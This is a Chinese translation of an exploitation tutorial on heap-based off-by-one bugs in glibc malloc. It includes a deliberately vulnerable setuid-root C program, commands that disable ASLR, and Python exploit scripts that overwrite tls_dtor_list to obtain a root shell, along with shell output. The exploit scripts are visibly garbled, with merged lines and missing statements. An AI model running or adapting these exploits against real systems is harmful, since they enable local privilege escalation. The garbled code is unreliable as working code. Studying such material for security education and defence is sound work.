Off-By-One 漏洞（基于堆）

译者：飞龙

原文：Off-By-One Vulnerability (Heap Based)

预备条件：

  1. Off-By-One 漏洞（基于栈）
  2. 理解 glibc malloc

VM 配置：Fedora 20（x86）

什么是 Off-By-One 漏洞？

在这篇文章中提到过，将源字符串复制到目标缓冲区可能造成 Off-By-One 漏洞，当源字符串的长度等于目标缓冲区长度的时候。

当源字符串的长度等于目标缓冲区长度的时候，单个 NULL 字符会复制到目标缓冲区的上方。因此由于目标缓冲区位于堆上，单个 NULL 字节会覆盖下一个块的块头部，并且这会导致任意代码执行。

回顾：在这篇文章中提到，在每个用户请求堆内存时，堆段被划分为多个块。每个块有自己的块头部（由malloc_chunk表示）。malloc_chunk结构包含下面四个元素：

  1. prev_size -- 如果前一个块空闲，这个字段包含前一个块的大小。否则前一个块是分配的，这个字段包含前一个块的用户数据。

  2. size：这个字符包含分配块的大小。字段的最后三位包含标志信息。

    • PREV_INUSE (P)如果前一个块已分配，会设置这个位。
    • IS_MMAPPED (M)当块是 mmap 块时，会设置这个位。
    • NON_MAIN_ARENA (N)当这个块属于线程 arena 时，会设置这个位。

  3. fd指向相同 bin 的下一个块。

  4. bk指向相同 bin 的上一个块。

漏洞代码：

//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SIZE 16

int main(int argc, char* argv[])
{

 int fd = open("./inp_file", O_RDONLY); /* [1] */
 if(fd == -1) {
 printf("File open error\n");
 fflush(stdout);
 exit(-1);
 }

 if(strlen(argv[1])>1020) { /* [2] */
 printf("Buffer Overflow Attempt. Exiting...\n");
 exit(-2);
 }

 char* tmp = malloc(20-4); /* [3] */
 char* p = malloc(1024-4); /* [4] */
 char* p2 = malloc(1024-4); /* [5] */
 char* p3 = malloc(1024-4); /* [6] */

 read(fd,tmp,SIZE); /* [7] */
 strcpy(p2,argv[1]); /* [8] */

 free(p); /* [9] */
}

编译命令：

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward

注意：

出于我们的演示目的，关闭了 ASLR。如果你也想要绕过 ASLR，使用信息泄露 bug，或者爆破机制，在这篇文章中描述。

上述漏洞代码的行[2]和[8]是基于堆的 off-by-one 溢出发生的地方。目标缓冲区的长度是 1020，因此长度为 1020 的源字符串可能导致任意代码执行。

任意代码执行如何实现？

任意代码执行，当单个 NULL 字节覆盖下一个块（p3）的块头部时实现。当大小为 1020 字节（p2）的块由单个字节溢出时，下一个块（p3）的头部中的size的最低字节会被 NULL 字节覆盖，并不是prev_size的最低字节。

为什么size的 LSB 会被覆盖，而不是prev_size？

checked_request2size将用户请求的大小转换为可用大小（内部表示的大小），因为需要一些额外空间来储存malloc_chunk，并且也出于对齐目的。转换实现的方式是，可用大小的三个最低位始终不会为零（也就是 8 的倍数，译者注），所以可以用于放置标志信息 P、M 和 N。

因此当我们的漏洞代码执行malloc(1020)时，用户请求大小 1020 字节会转换为((1020 + 4 + 7) & ~7)字节（内部表示大小）。1020 字节的分配块的富余量仅仅是 4 个字节。但是对于任何分配块，我们需要 8 字节的块头部，以便储存prev_size和size信息。因此 1024 字节的前八字节会用于块头部，但是现在我们只剩下 1016（1024 - 8）字节用于用户数据，而不是 1020 字节。但是像上面prev_size定义中所述，如果上一个块（p2）已分配，块（p3）的prev_size字段包含用户数据。因此块p3的prev_size位于这个 1024 字节的分配块p2后面，并包含剩余 4 字节的用户数据。这就是size的 LSB 被单个 NULL 字节覆盖，而不是prev_size的原因。

堆布局

1

注意：上述图片中的攻击者数据会在下面的“覆盖tls_dtor_list”一节中解释。

现在回到我们原始的问题。

任意代码执行如何实现？

现在我们知道了，在 off-by-one 漏洞中，单个 NULL 字节会覆盖下一个块（p3）size字段的 LSB。这单个 NULL 字节的溢出意味着这个块（p3）的标志信息被清空，也就是被溢出块（p2）变成空闲块，虽然它处于分配状态。当被溢出块（p2）的标志 P 被清空，这个不一致的状态让 glibc 代码 unlink 这个块（p2），它已经在分配状态。

在这篇文章中我们看到，unlink 一个已经处于分配状态的块，会导致任意代码执行，因为任何四个字节的内存区域都能被攻击者的数据覆盖。但是在同一篇文章中，我们也看到，unlink 技巧已经废弃，因为 glibc 近几年来变得更加可靠。具体来说，因为“双向链表损坏”的条件，任意代码执行时不可能的。

但是在 2014 年末，Google 的 Project Zero 小组找到了一种方式，来成功绕过“双向链表损坏”的条件，通过 unlink large 块。

unlink：

#define unlink(P, BK, FD) { 
  FD = P->fd; 
  BK = P->bk;
  // Primary circular double linked list hardening - Run time check
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
   malloc_printerr (check_action, "corrupted double-linked list", P); 
  else { 
   // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
   FD->bk = BK; /* [2] */
   BK->fd = FD; /* [3] */
   if (!in_smallbin_range (P->size) 
   && __builtin_expect (P->fd_nextsize != NULL, 0)) { 
    // Secondary circular double linked list hardening - Debug assert
    assert (P->fd_nextsize->bk_nextsize == P);  /* [4] */
        assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
    if (FD->fd_nextsize == NULL) { 
     if (P->fd_nextsize == P) 
      FD->fd_nextsize = FD->bk_nextsize = FD; 
     else { 
      FD->fd_nextsize = P->fd_nextsize; 
      FD->bk_nextsize = P->bk_nextsize; 
      P->fd_nextsize->bk_nextsize = FD; 
      P->bk_nextsize->fd_nextsize = FD; 
     } 
    } else { 
     // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
     P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
     P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
    } 
   } 
  } 
}

在 glibc malloc 中，主要的环形双向链表由malloc_chunk的fd和bk字段维护，而次要的环形双向链表由malloc_chunk的fd_nextsize和bk_nextsize字段维护。双向链表的加固看起来用在主要（行[1]）和次要（行[4]和[5]）的双向链表上，但是次要的环形双向链表的加固，只是个调试断言语句（不像主要双向链表加固那样，是运行时检查），它在生产构建中没有被编译（至少在 fedora x86 中）。因此，次要的环形双向链表的加固（行[4]和[5]）并不重要，这让我们能够向任意 4 个字节的内存区域写入任何数据（行[6]和[7]）。

然而还有一些东西应该解释，所以让我们更详细地看看，unlink large 块如何导致任意代码执行。由于攻击者已经控制了 -- 要被释放的 large 块，它覆盖了malloc_chunk元素，像这样：

  • fd应该指向被释放的块，来绕过主要环形双向链表的加固。
  • bk也应该指向被释放的块，来绕过主要环形双向链表的加固。
  • fd_nextsize应该指向free_got_addr – 0x14。
  • bk_nextsize应该指向system_addr。

但是根据行[6]和[7]，需要让fd_nextsize和bk_nextsize都是可写的。fd_nextsize是可写的，（因为它指向了free_got_addr – 0x14），但是bk_nextsize不是可写的，因为他指向了system_addr，它属于libc.so的文本段。让fd_nextsize和bk_nextsize都可写的问题，可以通过覆盖tls_dtor_list来解决。

覆盖tls_dtor_list：

tls_dtor_list是个线程局部的变量，它包含函数指针的列表，它们在exit过程中调用。__call_tls_dtors遍历tls_dtor_list并依次调用函数。因此如果我们可以将tls_dtor_list覆盖为堆地址，它包含system和system_arg，来替代dtor_list的func和obj，我们就能调用system。

2

所以现在攻击者需要覆盖要被释放的 large 块的malloc_chunk元素，像这样：

  • fd应该指向被释放的块，来绕过主要环形双向链表的加固。
  • bk也应该指向被释放的块，来绕过主要环形双向链表的加固。
  • fd_nextsize应该指向tls_dtor_list - 0x14。
  • bk_nextsize应该指向含有dtor_list元素的堆地址。

fd_nextsize可写的问题解决了，因为tls_dtor_list属于libc.so的可写区段，并且通过反汇编_call_tls_dtors()，tls_dtor_list的地址为0xb7fe86d4。

bk_nextsize可写的问题也解决了，因为它指向堆地址。

使用所有这些信息，让我们编写利用程序来攻击漏洞二进制的“前向合并”。

利用代码：

#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

执行上述利用代码不会向我们提供 root shell。它向我们提供了一个运行在我们的权限级别的 bash shell。嗯...

$ python -c 'print "A"*16' > inp_file
$ python exp_try.py 
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$

为什么不能获得 root shell？

当uid != euid时，/bin/bash会丢弃权限。我们的二进制“前向合并”的真实 uid 是 1000，但是它的有效 uid 是 0。因此当system调用时，bash 会丢弃权限，因为真实 uid 不等于有效 uid。为了解决这个问题，我们需要在system之前调用setuid(0)，因为_call_tls_dtors()依次遍历tls_dtor_list，我们需要将setuid和system链接，以便获得 root shell。

完整的利用代码：

#gen_file.py
#!/usr/bin/env python
import struct

#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430

#endianess convertion
def conv(num):
 return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)

print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

执行上述利用代码会给我们 root shell。

$ python gen_file.py > inp_file
$ python exp.py 
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$

我们的 off-by-one 漏洞代码会向前合并块，也可以向后合并。这种向后合并 off-by-one 漏洞代码也可以利用。

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